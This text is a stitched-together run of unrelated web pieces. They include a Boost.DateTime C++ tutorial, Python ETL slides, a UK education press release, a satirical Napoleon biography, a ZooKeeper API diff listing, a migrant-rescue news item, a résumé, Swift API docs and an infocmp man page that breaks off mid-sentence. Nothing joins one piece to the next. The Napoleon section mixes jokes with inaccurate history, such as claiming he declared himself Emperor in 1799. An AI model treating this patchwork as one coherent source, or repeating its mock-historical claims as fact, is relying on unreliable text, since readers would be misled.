#include <boost/date_time/local_time/local_time.hpp> #include <iostream> int main() { boost::local_time::time_zone_ptr tz(new boost::local_time::posix_time_zone("CET+1")); boost::posix_time::ptime pt(boost::gregorian::date(2009, 1, 5), boost::posix_time::time_duration(12, 0, 0)); boost::local_time::local_date_time dt(pt, tz); std::cout << dt.utc_time() << std::endl; std::cout << dt << std::endl; std::cout << dt.local_time() << std::endl; std::cout << dt.zone_name() << std::endl; }
The constructor of boost::local_time::local_date_time
expects an object of type boost::posix_time::ptime
as its first argument as well as an object of type boost::local_time::time_zone_ptr
as its second. This is merely a type definition for boost::shared_ptr<boost::local_time::posix_time_zone>
. In other words, no object of type boost::local_time::posix_time_zone
is passed but rather a smart pointer pointing to one. This allows multiple objects of type boost::local_time::local_date_time
to share time zone information. Only if the last object is destroyed, the corresponding object representing the time zone is automatically released.
To create an object of type boost::local_time::posix_time_zone
, a string describing the time zone is passed to the constructor as the single argument. The above example specifies Central Europe as the time zone: CET is the abbreviation for Central European Time. Since CET is one hour ahead of UTC, the deviation is denoted as +1 accordingly. Boost.DateTime is not able to interpret abbreviations for time zones and thus does not know the meaning of CET. Therefore, the deviation must always be provided in hours; passing +0 means no deviation.
When executed, the application will write 2009-Jan-05 12:00:00
, 2009-Jan-05 13:00:00 CET
, 2009-Jan-05 13:00:00
and CET
to the standard output stream. Values used to initialize objects of type boost::posix_time::ptime
and boost::local_time::local_date_time
always relate to the UTC time zone by default. Only if an object of type boost::local_time::local_date_time
is written to the standard output stream or a call to the local_time()
method is made, the deviation in hours is used for calculating the local time.
#include <boost/date_time/local_time/local_time.hpp> #include <iostream> int main() { boost::local_time::time_zone_ptr tz(new boost::local_time::posix_time_zone("CET+1")); boost::posix_time::ptime pt(boost::gregorian::date(2009, 1, 5), boost::posix_time::time_duration(12, 0, 0)); boost::local_time::local_date_time dt(pt, tz); std::cout << dt.local_time() << std::endl; boost::local_time::time_zone_ptr tz2(new boost::local_time::posix_time_zone("EET+2")); std::cout << dt.local_time_in(tz2).local_time() << std::endl; }
By using the local_time()
method, the deviation for the time zone is actually respected. In order to calculate the CET time, one hour needs to be added to the UTC time of 12 PM stored in dt since CET is one hour ahead of UTC. local_time()
writes 2009-Jan-05 13:00:00
to the standard output stream accordingly.
In contrast, the local_time_in()
method interprets the time stored in dt as being in the time zone passed as the argument. This means that 12 PM UTC equals 2 PM EET which stands for Eastern European Time and is two hours ahead of UTC.
Finally, location-dependent periods are offered by Boost.DateTime via the boost::local_time::local_time_period
class.
#include <boost/date_time/local_time/local_time.hpp> #include <iostream> int main() { boost::local_time::time_zone_ptr tz(new boost::local_time::posix_time_zone("CET+0")); boost::posix_time::ptime pt1(boost::gregorian::date(2009, 1, 5), boost::posix_time::time_duration(12, 0, 0)); boost::local_time::local_date_time dt1(pt1, tz); boost::posix_time::ptime pt2(boost::gregorian::date(2009, 1, 5), boost::posix_time::time_duration(18, 0, 0)); boost::local_time::local_date_time dt2(pt2, tz); boost::local_time::local_time_period tp(dt1, dt2); std::cout << tp.contains(dt1) << std::endl; std::cout << tp.contains(dt2) << std::endl; }
The constructor of boost::local_time::local_time_period
expects two arguments of type boost::local_time::local_date_time
. As with the other data types provided for periods, the second argument, representing the end time, is not part of the actual period. With the help of methods such as contains()
, intersection()
, merge()
and others, periods can be processed with boost::local_time::local_time_period
accordingly.
Any example in this chapter provided results such as 2009-Jan-07
once executed. Some people may actually prefer a different format to display the results. Boost.DateTime allows to format calendar dates and times via the boost::date_time::date_facet
and boost::date_time::time_facet
classes.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> #include <locale> int main() { boost::gregorian::date d(2009, 1, 7); boost::gregorian::date_facet *df = new boost::gregorian::date_facet("%A, %d %B %Y"); std::cout.imbue(std::locale(std::cout.getloc(), df)); std::cout << d << std::endl; }
Boost.DateTime uses the concept of locales known from the C++ standard introduced in a nutshell in Chapter 5, String Handling. To format a calendar date, an object of type boost::date_time::date_facet
must be created and installed within a locale. A string describing the new format is passed to the constructor of boost::date_time::date_facet
. The example passes %A, %d %B %Y
specifying that the day of the week is followed by the date with the month written in full: Wednesday, 07 January 2009
.
Boost.DateTime offers numerous format flags that consist of the percent sign followed by a character. The documentation of Boost.DateTime contains a complete overview over all supported flags. For example, %A specifies the name of the weekday.
If the user base of the application is located in Germany or German-speaking countries, it is preferable to display both the weekday and the month in German rather than in English.
#include <boost/date_time/gregorian/gregorian.hpp> #include <iostream> #include <locale> #include <string> #include <vector> int main() { std::locale::global(std::locale("German")); std::string months[12] = { "Januar", "Februar", "März", "April", "Mai", "Juni", "Juli", "August", "September", "Oktober", "November", "Dezember" }; std::string weekdays[7] = { "Sonntag", "Montag", "Dienstag", "Mittwoch", "Donnerstag", "Freitag", "Samstag" }; boost::gregorian::date d(2009, 1, 7); boost::gregorian::date_facet *df = new boost::gregorian::date_facet("%A, %d. %B %Y"); df->long_month_names(std::vector<std::string>(months, months + 12)); df->long_weekday_names(std::vector<std::string>(weekdays, weekdays + 7)); std::cout.imbue(std::locale(std::cout.getloc(), df)); std::cout << d << std::endl; }
The names for weekdays and months can be changed by passing vectors containing corresponding names to the long_month_names()
and long_weekday_names()
methods of the boost::date_time::date_facet
class. The above example now writes Mittwoch, 07. Januar 2009
to the standard output stream.
Boost.DateTime is pretty flexible in regards to formatted input and output. Besides the output classes boost::date_time::date_facet
and boost::date_time::time_facet
, the classes boost::date_time::date_input_facet
and boost::date_time::time_input_facet
are available for formatted input. All four classes provide many methods to configure the input and output of the different objects provided by Boost.DateTime. For example, it is possible to specify how periods of type boost::gregorian::date_period
are input and output. Due to the manifold possibilities for formatted input and output it is essential to review the documentation of Boost.DateTime.
You can buy solutions to all exercises in this book as a ZIP file.
Create an application that writes the weekdays for the next Christmas Eve, Christmas Day and the following day to the standard output stream.
Calculate your age in days. The application should determine the current date for the computation automatically.
Copyright © 2008-2010 Boris Schäling


A data pipeline is a software system consistently and programmatically moving data out of a datastore, manipulating it, and moving it back to a datastore.
Particularly when:
Python's ecosystem includes many world-class open source modules that are well geared-towards data manipulation
ETL (Extract/Expand, Transform, Load) is an architecture pattern for moving data from one or more systems into another.
To separate extract, transform, and load, the data has to go somewhere.
Key Focus: Simplicity
Many options to choose from, and none are always the right answer. This is esoteric to your dataset.
import json
python_dict = json.loads(json_data)
Key Focus: Atomicity
atomicity: the state or fact of being composed of indivisible units.
Be more picky about storage formats for transformed data.
Key Focus: Idempotency
Idempotent functions/algorithms can run more than once and produce the same output.
Building Relationships
Loading relational data presents the extra challenge of rebuilding relationships
"Celery is an asynchronous task queue/job queue based on distributed message passing."
Easily designate Python functions as asynchronous tasks.
Tasks are picked up by "worker" processes. You can run many workers on many machines.
Once Celery is configured, converting code to run on workers is easy.
from .celery import etl_app
@etl_app.task()
def extract():
# ...
@etl_app.task()
def transform():
# ...
@etl_app.task()
def load():
# ...
extract.apply_async()
transform.apply_async()
load.apply_async()
There are many ways to increase throughput in your distributed pipeline.
Define which tasks are assigned to which queues in your Celery config
# celery.py
CELERY_ROUTES = {
# Dotted path to your task function
'etl.tasks.extract': {'queue': 'extract'},
'etl.tasks.transform': {'queue': 'transform'},
'etl.tasks.load': {'queue': 'load'},
}
When you deploy celery workers, specify the queue for each set of workers or each machine.
# start_celery.sh
# Start 4 threads on the extract queue
celery -A my_etl_pipeline worker --concurrency=4 -Q extract
# Start 8 threads on the transform queue
celery -A my_etl_pipeline worker --concurrency=8 -Q transform
# Start 4 threads on the load queue
celery -A my_etl_pipeline worker --concurrency=4 -Q load
Some concepts to look into that weren't covered today
http://hirelofty.com/pipelines-with-python/


ANSIBLE AWX OCHESTRATED
Are you using the latest and greatest version of Ansible Tower?
Ansible Tower


In most cases, there are no issues with dealing with exotic Unicode characters. However, certain characters will not render in PDF documents without some extra work (the same problem does not exist when rendering images). This is a quirk with the way iText works, which is the library underpinning the PDF generation.This thread explains the issue.The solution is to register the font to use with a particular encoding. Because we are using XHTMLRenderer we can specify this in CSS as opposed to programatically registering.@font-face {
src: url(path/to/arial.ttf);
-fs-pdf-font-embed: embed;
-fs-pdf-font-encoding: cp1250;
}
body {
font-family: "Arial Unicode MS", Arial, sans-serif;
}
See this page for details on these CSS directives.


DfE enquiries
Central newsdesk 020 7783 8300
General enquiries 0370 000 2288
Press release
Student George Hunter receives Lord Glenamara Memorial Prize for academic success, voluntary work and raising mental health awareness.
An outstanding teenager who used his online blog to raise awareness about mental health issues received a prestigious award from Education Secretary Nicky Morgan today (2 February 2016).
Student George Hunter, from Ponteland High School in Newcastle-Upon-Tyne, Northumberland, picked up the annual Lord Glenamara Memorial Prize during a ceremony at King’s College, London.
George, a straight A and A* student and St John’s Ambulance volunteer, was the fourth winner of the annual prize open to high-achieving youngsters in years 11 and 12 across the north-east of England who have made positive civic contributions, often in their spare time.
Among George’s recent achievements was his ‘ My Tie Diary ’ blog that was set up to encourage discussion about mental health and raise awareness on the subject.
He had also found the time to run a series of Mandarin classes for year 9 pupils following on from his win in a national Mandarin speaking competition.
Education Secretary Nicky Morgan said:
George’s outstanding academic achievements and willingness to serve his wider community in various ways made him an incredibly deserving winner.
I was delighted to meet George, and to present him with the Lord Glenamara Memorial Prize. Both he and the runners-up deserve great credit for what they have achieved, and I have no doubt they will go on to great things in the future.
Speaking after finding out he had won the Lord Glenamara Memorial Prize, George said:
I am passionate for young people to be supported and educated at school on mental health and wellbeing, and I want to use this prize to promote this. When young people are properly supported, they cope better, learn better, and become more resilient.
I will continue to encourage others to learn increasingly important languages, such as Mandarin.
George could choose to undertake a 2-day work experience programme at the Department for Education’s central London offices following on from his win.
The Lord Glenamara Memorial Prize is open to students in years 11 and 12 across the north-east of England who have shown:
The runners-up were:
Central newsdesk 020 7783 8300
General enquiries 0370 000 2288
Published: 2 February 2016
From: Department for Education The Rt Hon Nicky Morgan MP
Part of: Young people


|
Napoleon BonaparteOne of the most recognizable historical figures of all time, which explains why Napoleon is the only character to appear in both Bill and Ted's Excellent Adventure and Time Bandits. Same goes for why you can always find one in any well-stocked insane asylum.In June 1798, Napoleon joined the Freemasons in Malta. Later he would appoint his four brothers to high posts in the organization. Napoleon staged a coup in November 1799, declared himself Emperor of France, and proceeded to rebuild the country to suit his whims. In 1801 he threw the Marquis de Sade in prison without a trial for publishing pornography. Desperately in need of funds, France executed the Louisiana Clearance Sale, offloading the North American real estate for millions in gold bullion. With that pocket change, Napoleon embarked upon a military campaign to build his empire. Then followed a decade-long string of successful conquests, until things began to sour in 1812. Evidently somebody thought it was a good idea to visit Russia just in time to catch its spectacular autumnal foliage. But it wasn't. More than a century later, Adolf Hitler would make precisely the same mistake. The only good thing to come out of Napoleon's disastrous assault on Moscow was the resulting chart drawn up by French engineer Charles Joseph Minard. What Edward R. Tufte calls "probably the best statistical graphic ever drawn," the diagram communicates six dimensions of data on a two-dimensional surface. It's an undisputed classic of information design, and well worth the money. In fact, our analysts feel this gem of statistical elegance justifies the entire campaign and massive loss of life. In May 1814, Napoleon was exiled to his winter home on the Italian island of Elba. He received the title of Emperor of Elba, ruling over a measly population of 110,000. But after nine months he returned to France with 6,000 of his personal guard and immediately reconstructed his army. He managed to assemble a force of 72,000 men before marching into Belgium. Which is where the Battle of Waterloo took place, just a few miles south of Brussels, on June 18, 1815. There the armies of Wellington and Blücher were waiting for him. A total of 191,300 soldiers met on the battlefield that day; 48,500 were killed or otherwise incapacitated. Napoleon bore the brunt of it and hastily retreated back to France. One possible blame for the failure at Waterloo was the Emperor's health. According to the theory, if only the French forces had joined the opposing forces earlier, he would have prevailed. But Napoleon was unable to travel due to his condition; that being, horrifically painful hemorrhoids. Anyway, this time he was exiled to a smaller, more remote island in the South Atlantic named St. Helena. There he brooded, complained incessantly about the rudeness of the British governor of the place, and wrote his memoirs. After six years of captivity, he finally croaked. Attempts to determine whether Napoleon had been assassinated on St. Helena have turned out inconclusive. According to neutron activation of souvenir hair samples taken from his fresh corpse, the man had accumulated fairly high levels of heavy metal: 1.5 parts per million of arsenic and 6 ppm antimony. But it's unclear whether this was the result of a sudden dose of poison, or rather the long and gradual exposure to haircare products, glue, wallpaper, wood ash, and so on.  The English nation will not be slow in avenging me. Of course, this was after six years on St. Helena. Napoleon should have realized that if the British were indeed trying to kill him, they would have just thrown him overboard on the way to the island and avoided the whole trouble and expense.
|


| All Differences |
| Removals |
| Additions |
| Changes |
|
Bold is New, |
int, String
)String, HostProvider, int, ZooKeeper, ClientWatchManager, ClientCnxnSocket, boolean
)String, HostProvider, int, ZooKeeper, ClientWatchManager, ClientCnxnSocket, long, byte[], boolean
)String
)String
)String, boolean, Stat
) in org.apache.zookeeper.ZooKeeper
String, Watcher, Stat
) in org.apache.zookeeper.ZooKeeper
String, boolean, Children2Callback, Object
) in org.apache.zookeeper.ZooKeeper
String, Watcher, Children2Callback, Object
) in org.apache.zookeeper.ZooKeeper
String
)String
)String
)String
)String
)String
)String
)Iterable
) in org.apache.zookeeper.ZooKeeper
MultiTransactionRecord
)String
)MyCommandOptions
)MyCommandOptions
)RequestHeader, ReplyHeader, Record, Record, AsyncCallback
)boolean
)int
)String, int, Watcher, boolean
)String, int, Watcher, long, byte[], boolean
)String[]
)ZooKeeper
)


Italian ship with 151 rescued migrants docks in Sicily
A total of 151 migrants, including five unaccompanied minors, disembarked eight days after being rescue at sea.
An Italian offshore supply vessel has brought 151 migrants to Sicily after rescuing them in waters off Libya a day earlier.
The Asso Trenta docked on Sunday at Pozzallo with the migrants. It was not immediately known if they would stay in Italy, or be distributed among other European Union countries.
Hours earlier, a German charity's rescue boat, Alan Kurdi, had dropped 88 migrants off at Taranto on the Italian mainland. Under an EU-brokered deal, 67 of them will go to four other countries, while the others will stay in Italy.
A Taranto official, Gabriella Ficocelli, told the Italian news agency ANSA the migrants included five unaccompanied minors who were "tired and tried by the voyage."
They disembarked eight days after being rescued in the Mediterranean Sea from Libyan-based traffickers' rickety vessels.
More:
Meanwhile, the Greek government's decision to transfer migrants from the overcrowded eastern Aegean islands to the mainland was met with some resistance.
Residents, in two instances, tried unsuccessfully to prevent migrants from being housed in hotels in northern Greece.
An anti-migrant march in the northern city of Thessaloniki on Sunday was attended by around 100 people, while a counter-demonstration of anarchists drew a slightly larger crowd.
Migrants who had arrived by military transport from the island of Lesbos to a port near Athens on Saturday had to wait hours in buses in order to be able to finally sleep at designated hotels whose owners agreed to lodge the migrants.
The migrants were driven in buses for more than 500km (310 miles) to reach their destinations in northern Greece.
Meanwhile, a van carrying an estimated 15 Pakistani migrants turned over on a main highway east of Thessaloniki on Sunday, killing one and slightly injuring five.
The police were not certain about the exact number of migrants because the others, including the driver, fled the scene before police arrived.
In North Macedonia, a court ordered a 30-day pre-trial custody for three Pakistani nationals, suspected of human trafficking and cruelty to migrants.
The Skopje's prosecutor office announced on Sunday that they had opened a probe against three Pakistanis and one Macedonian national for organising the illegal transfer of migrants and abusing them. The Macedonian national, owner of the house, was placed under house arrest.
Police raided a house in the village of Vaksince, near the northern border with Serbia, on Friday and found 12 migrants from India, Pakistan and Afghanistan, including two minors.
They acted on a tip from Serbian police who had been alerted by a friend of the migrants that they were being beaten and asked to pay 1,300 euros ($1,450) each to the smugglers for transfer across the border.


Real exchange rate: 1.0661 ( 9 minutes ago )
Our Fee: $ 4.95
$ 4.95
1 = 1.07
$ 46.05
1 = 1.06
We follow the global exchange rate while banks artificially inflate their exchange rate to hide the fees they inpose on you.
See the real exchange rate at:
Google Finance


I am a full stack software developer with a specific passion for frontend design and development.
I am experienced with Angular, Ionic, HTML, CSS, .NET, Blazor and more.
I am also passionate about true software craftsmanship, as I feel that this focus will culture a lasting work ethic and improve my skills in areas that will never become obsolete.
I believe that a focus on the craftsmanship of software can only enhance my work in the future, regardless of the technology in use.
Migrated customer facing mobile app from Cordova to Capacitor
Part of a team that developed and is maintaining a new client app for iOS, Android, and web using Ionic and Angular with a .NET Framework and .NET Core backend
Part of a team that is constantly developing new web apps that are used to help streamline internal processes within the company using various technologies including .NET Framework, .NET Core, Angular, and Blazor.
Meet with clients to discuss software and documentation specifications
Create and update software mockups
Create and update database mapping documentation in the forms of both graphical mappings (Logical Data Models) and Excel spreadsheets
Help to maintain and update the documentation for the new Louisiana Medicaid/Medicare system as per the client’s specifications
Help to teach and run the CMPS 285 project class typically for sophomore CSIT students at Southeastern Louisiana University under Dr. Ghassan Alkadi
Help to maintain the printers and computers; Assist students and faculty with checking out resources, such as electronic devices and many forms of media, and using library classrooms
GPA: 3.946
Graduation: Spring 2020, Summa Cum Laude
Basic concepts of computer programming, problem solving, algorithm development, and program coding using a high-level, block-structured language.
Introduction to discrete structures of computing. Topics include sets, relations, functions, digraphs, matrices, recursion, partially ordered sets, Boolean Algebra, artificial languages, and finite state machines.
An intensive capstone of the material covered in Computer Science 161 and an introduction to elementary data structures, searches, simple and complex sorts, and objects.
Introduction of the methods used for specifying, designing, implementing, and testing medium and large scale software systems; methods for organizing and managing software development projects; professionalism and ethical responsibilities in software development.
An introduction to the structure and function of computing machines. The primary components of the computer are examined from an organizational and logical standpoint. Topics include introduction to digital systems; machine level representation of data; assembly level machine organization; memory system organization and architectures; and introduction to language translation.
This course concerns the art and science of programming for WWW Internet applications from a client-side perspective. Basic and advanced HTML will be covered, with emphasis on current scripting technologies.
This course teaches skills and concepts that are essential to the administration of operation systems, networks, software, various computing support systems, and system documentation, policies, and procedures. This also includes education and support of the users of these systems.
A hands-on comprehensive study of database administration and applications to include selecting, installing, configuring, tuning, maintaining, and reviewing modern database systems.
Further study of trees, including: balanced trees, B-trees, 2-3 trees, and tries; external sorting, symbol tables, and file structures.
Protocols used in local area and wide area networks, network administration, and the conceptual and technical aspects of computer security and information assurance, especially as it impacts computer networks and the Internet.
Hardware organization and implementation of computer architecture. Instruction set considerations and addressing modes. System control concepts. CPU control, microprogramming, I/O interface and memory organization. Parallel and data flow architecture.
This course provides an introduction to several current technologies, and how they can be used to integrate software solutions into a functional large interconnected system. The course will focus on contemporary technologies used for enterprise software development.
Designing, implementing, and evaluating computer systems. Task analysis, prototyping, usability evaluation, dialogue specification, interaction styles and techniques, human factors, virtual reality, multimedia, and hypermedia systems.
This course presents a formal approach to the top-down design, development, and maintenance of software systems. Topics include organization and management of software projects, security, programmer teams, validation and verification.
A study of file organization and management, analysis of the concept of information systems, approaches and techniques for evaluating information systems. Fourth generation languages will be explored.
Introduction to computing device capabilities through study of abstract machines and corresponding formal languages. Topics include Turing machines, recursion, Chomsky grammars, context-free languages, regular languages, and finite automata.
|
I enjoy keeping up with the latest and greatest developments in technology. It doesn't matter what area of technology it is, I love researching it. I most frequently check the latest news on computer hardware, Linux, Windows, mobile devices, and web technologies though.


Posted by: Tosca Wilson
Date: 08.09.2019
Emotional Intelligence is being aware of and understanding your own feelings and how they affect yourself and others around you. By understanding how you and others are feeling, you can express yourself better and communicate more effectively.
IQ is short for intelligence quotient and measures someones cognitive abilities and logic. EQ is the measure of someones ability to understand and manage the emotions of themselves and others.
As Emotional Intelligence is the ability to identify and express one's own emotions and thoughts, and to also rightly interpret those of other people, EQ is essential for communication and relationship development. According to research, people with high EQ have better mental health, job performance, and general quality of life.


URL
struct URL : ReferenceConvertible, Equatable
-
Returns convert query to Dictionary
Declaration
Swift
public var queryParameters: [String: String]?
-
Returns remote size of url, don’t use it in main thread
Declaration
Swift
public func remoteSize(_ completionHandler: @escaping ((_ contentLength: Int64) -> Void), timeoutInterval: TimeInterval = 30)
-
Returns server supports resuming or not, don’t use it in main thread
Declaration
Swift
public func supportsResume(_ completionHandler: @escaping ((_ doesSupport: Bool) -> Void), timeoutInterval: TimeInterval = 30)
-
Compare two URLs
Declaration
Swift
public func isSameWithURL(_ url: URL) -> Bool
-
Returns true if given file is a directory
Declaration
Swift
public var fileIsDirectory: Bool
-
File modification date, nil if file doesn’t exist
Declaration
Swift
public var fileModifiedDate: Date?
-
File creation date, nil if file doesn’t exist
Declaration
Swift
public var fileCreationDate: Date?
-
Returns last file access date, nil if file doesn’t exist or not yet accessed
Declaration
Swift
public var fileAccessDate: Date?
-
Returns file size, -1 if file doesn’t exist
Declaration
Swift
public var fileSize: Int64
-
File is hidden or not, don’t care about files beginning with dot
Declaration
Swift
public var fileIsHidden: Bool
-
Checks if file is writable
Declaration
Swift
public var fileIsWritable: Bool
-
EZSE: File thubmnail saved in system or iCloud in form of 1024pxx1024px
Declaration
Swift
var fileThumbnail1024px: UIImage?
-
EZSE: Set SkipBackup attrubute of file or directory in iOS. return current state if no value is set
Declaration
Swift
public func skipBackupAttributeToItemAtURL(_ skip: Bool? = nil) -> Bool
-
Undocumented
Declaration
Swift
func thumbnailForVideoAtURL() -> UIImage?


Recently I’ve gotten really into the aesthetics of soul music.
It all started when me and my friend were talking about an app he was making about organizing your vinyl collection.
I tried making a redesign of his homepage (it sucked), but in the process I looked into soul music album covers for inspiration.
My thinking was as follows:
Vinyl is for old music
The best old music is soul music.
The design should be soul inspired.
To me, the best examples of the Soul Aesthetic are sorta trippy. They are really colorful, maybe psychedelic. They also have awesome handmade fonts like the Marvin and Bubblegum font!
I hope you enjoyed this breakdown, and check some for out for yourself
Go outside and enjoy yourself
-Alex


infocmp(1) infocmp(1) NAME infocmp - compare or print out terminfo descriptions SYNOPSIS infocmp [-1CEFGILTUVcdegilnpqrtux] [-v n] [-s d| i| l| c] [-R subset] [-w width] [-A directory] [-B directory] [termname...] DESCRIPTION infocmp can be used to compare a binary terminfo entry with other ter‐ minfo entries, rewrite a terminfo description to take advantage of the use= terminfo field, or print out a terminfo description from the binary file (term) in a variety of formats. In all cases, the boolean fields will be printed first, followed by the numeric fields, followed by the string fields. Default Options If no options are specified and zero or one termnames are specified, the -I option will be assumed. If more than one termname is specified, the -d option will be assumed. Comparison Options [-d] [-c] [-n] infocmp compares the terminfo description of the first terminal termname with each of the descriptions given by the entries for the other termi‐ nal's termnames. If a capability is defined for only one of the termi‐ nals, the value returned will depend on the type of the capability: F for boolean variables, -1 for integer variables, and NULL for string vari‐ ables. The -d option produces a list of each capability that is different between two entries. This option is useful to show the difference between two entries, created by different people, for the same or similar terminals. The -c option produces a list of each capability that is common between two entries. Capabilities that are not set are ignored. This option can be used as a quick check to see if the -u option is worth using. The -n option produces a list of each capability that is in neither entry. If no termnames are given, the environment variable TERM will be used for both of the termnames. This can be used as a quick check to see if anything was left out of a description. Source Listing Options [-I] [-L] [-C] [-r] The -I, -L, and -C options will produce a source listing for each termi‐ nal named. center tab(/) ; l l . -I/use the terminfo names -L/use the long C vari‐ able name listed in <term.h> -C/use the termcap names -r/when using -C, put out all capabilities in termcap form If no termnames are given, the environment variable TERM will be used for the terminal name. The source produced by the -C option may be used directly as a termcap entry, but not all parameterized strings can be changed to the termcap format. infocmp will attempt to convert most of the parameterized infor‐ mation, and anything not converted will be plainly marked in the output and commented out. These should be edited by hand. All padding information for strings will be collected together and placed at the beginning of the string where termcap expects it. Mandatory pad‐ ding (padding information with a trailing '/') will become optional. All termcap variables no longer supported by terminfo, but which are derivable from other terminfo variables, will be output. Not all ter‐ minfo capabilities will be translated; only those variables which were part of termcap will normally be output. Specifying the -r option will take off this restriction, allowing all capabilities to be output in termcap form. Note that because padding is collected to the beginning of the capabil‐ ity, not all capabilities are output. Mandatory padding is not sup‐ ported. Because termcap strings are not as flexible, it is not always possible to convert a terminfo string capability into an equivalent term‐ cap format. A subsequent conversion of the termcap file back into ter‐ minfo format will not necessarily reproduce the original terminfo source. Some common terminfo parameter sequences, their termcap equivalents, and some terminal types which commonly have such sequences, are: center tab(/) ; l c l l l l. terminfo/termcap/Representative Terminals = %p1%c/%./adm %p1%d/%d/hp, ANSI standard, vt100 %p1%'x'%+%c/%+x/concept %i/%iq/ANSI standard, vt100 %p1%?%'x'%>%t%p1%'y'%+%;/%>xy/concept %p2 is printed before %p1/%r/hp Use= Option [-u] The -u option produces a terminfo source description of the first termi‐ nal termname which is relative to the sum of the descriptions given by the entries for the other terminals termnames. It does this by analyzing the differences between the first termname and the other termnames and producing a description with use= fields for the other terminals. In this manner, it is possible to retrofit generic terminfo entries into a terminal's description. Or, if two similar terminals exist, but were coded at different times or by different people so that each description is a full description, using infocmp will show what can be done to change one description to be relative to the other. A capability will get printed with an at-sign (@) if it no longer exists in the first termname, but one of the other termname entries contains a value for it. A capability's value gets printed if the value in the first termname is not found in any of the other termname entries, or if the first of the other termname entries that has this capability gives a different value for the capability than that in the first termname. The order of the other termname entries is significant. Since the ter‐ minfo compiler tic does a left-to-right scan of the capabilities, speci‐ fying two use= entries that contain differing entries for the same capa‐ bilities will produce different results depending on the order that the entries are given in. infocmp will flag any such inconsistencies between the other termname entries as they are found. Alternatively, specifying a capability after a use= entry that contains that capability will cause the second specification to be ignored. Using infocmp to recreate a description can be a useful check to make sure that everything was specified correctly in the original source description. Another error that does not cause incorrect compiled files, but will slow down the compilation time, is specifying extra use= fields that are superfluous. infocmp will flag any other termname use= fields that were not needed. Changing Databases [-A directory] [-B directory] The location of the compiled terminfo database is taken from the environ‐ ment variable TERMINFO . If the variable is not defined, or the terminal is not found in that location, the system terminfo database, in /etc/ter‐ minfo, will be used. The options -A and -B may be used to override this location. The -A option will set TERMINFO for the first termname and the -B option will set TERMINFO for the other termnames. With this, it is possible to compare descriptions for a terminal with the same name located in two different databases. This is useful for comparing descriptions for the same terminal created by different people. Other Options -1 causes the fields to be printed out one to a line. Otherwise, the fields will be printed several to a line to a maximum width of 60 characters. -a tells infocmp to retain commented-out capabilities rather than dis‐ carding them. Capabilities are commented by prefixing them with a period. -E Dump the capabilities of the given terminal as tables, needed in the C initializer for a TERMTYPE structure (the terminal capability structure in the <term.h>). This option is useful for preparing versions of the curses library hardwired for a given terminal type. The tables are all declared static, and are named according to the type and the name of the corresponding terminal entry. Before ncurses 5.0, the split between the -e and -E options was not needed; but support for extended names required making the arrays of terminal capabilities separate from the TERMTYPE structure. -e Dump the capabilities of the given terminal as a C initializer for a TERMTYPE structure (the terminal capability structure in the <term.h>). This option is useful for preparing versions of the curses library hardwired for a given terminal type. -F compare terminfo files. This assumes that two following arguments are filenames. The files are searched for pairwise matches between entries, with two entries considered to match if any of their names do. The report printed to standard output lists entries with no matches in the other file, and entries with more than one match. For entries with exactly one match it includes a difference report. Normally, to reduce the volume of the report, use references are not resolved before looking for differences, but resolution can be forced by also specifying -r. -f Display complex terminfo strings which contain if/then/else/endif expressions indented for readability. -G Display constant literals in decimal form rather than their charac‐ ter equivalents. -g Display constant character literals in quoted form rather than their decimal equivalents. -i Analyze the initialization (is1, is2, is3), and reset (rs1, rs2, rs3), strings in the entry. For each string, the code tries to ana‐ lyze it into actions in terms of the other capabilities in the entry, certain X3.64/ISO 6429/ECMA-48 capabilities, and certain DEC VT-series private modes (the set of recognized special sequences has been selected for completeness over the existing terminfo database). Each report line consists of the capability name, followed by a colon and space, followed by a printable expansion of the capability string with sections matching recognized actions translated into {}-bracketed descriptions. Here is a list of the DEC/ANSI special sequences recognized: i. center tab(/) ; l l l l. Action/Meaning = RIS/full reset SC/save cursor RC/restore cursor LL/home-down RSR/reset scroll region = DEC‐ STR/soft reset (VT320) S7C1T/7-bit controls (VT220) = ISO DEC G0/enable DEC graphics for G0 ISO UK G0/enable UK chars for G0 ISO US G0/enable US chars for G0 ISO DEC G1/enable DEC graphics for G1 ISO UK G1/enable UK chars for G1 ISO US G1/enable US chars for G1 = DECPAM/application keypad mode DECPNM/normal keypad mode DECANSI/enter ANSI mode = ECMA[+-]AM/keyboard action mode ECMA[+-]IRM/insert replace mode ECMA[+-]SRM/send receive mode ECMA[+-]LNM/linefeed mode = DEC[+-]CKM/application cursor keys DEC[+-]ANM/set VT52 mode DEC[+-]COLM/132-column mode DEC[+-]SCLM/smooth scroll DEC[+-]SCNM/reverse video mode DEC[+-]OM/origin mode DEC[+-]AWM/wraparound mode DEC[+-]ARM/auto- repeat mode It also recognizes a SGR action corresponding to ANSI/ISO 6429/ECMA Set Graphics Rendition, with the values NORMAL, BOLD, UNDERLINE, BLINK, and REVERSE. All but NORMAL may be prefixed with `+' (turn on) or `-' (turn off). An SGR0 designates an empty highlight sequence (equivalent to {SGR:NOR‐ MAL}). -l Set output format to terminfo. -p Ignore padding specifications when comparing strings. -q Make the comparison listing shorter by omitting subheadings, and using "-" for absent capabilities, "@" for canceled rather than "NULL". -Rsubset Restrict output to a given subset. This option is for use with archaic versions of terminfo like those on SVr1, Ultrix, or HP/UX that do not support the full set of SVR4/XSI Curses terminfo; and variants such as AIX that have their own extensions incompatible with SVr4/XSI. Available terminfo subsets are "SVr1", "Ultrix", "HP", and "AIX"; see terminfo(5) for details. You can also choose the subset "BSD" which selects only capabilities with termcap equiv‐ alents recognized by 4.4BSD. -s [d|i|l|c] The -s option sorts the fields within each type according to the argument below: d leave fields in the order that they are stored in the terminfo database. i sort by terminfo name. l sort by the long C variable name. c sort by the termcap name. If the -s option is not given, the fields printed out will be sorted alphabetically by the terminfo name within each type, except in the case of the -C or the -L options, which cause the sorting to be done by the termcap name or the long C variable name, respectively. -T eliminates size-restrictions on the generated text. This is mainly useful for testing and analysis, since the compiled descriptions are limited (e.g., 1023 for termcap, 4096 for terminfo). -t tells tic to discard commented-out capabilities. Normally when translating from terminfo to termcap, untranslatable capabilities are commented-out. -U tells infocmp to not post-process the data after parsing the source file. This feature helps when comparing the actual contents of two source files, since it excludes the inferences that infocmp makes to fill in missing data. -V reports the version of ncurses which was used in this program, and exits. -v n prints out tracing information on standard error as the program runs. Higher values of n induce greater verbosity. -w width changes the output to width characters. -x print information for user-defined capabilities. These are exten‐ sions to the terminfo repertoire which can be loaded using the -x option of tic. FILES /etc/terminfo Compiled terminal description database. EXTENSIONS The -E, -F, -G, -R, -T, -V, -a, -e, -f, -g, -i, -l, -p, -q and -t options are not supported in SVr4 curses. The -r option's 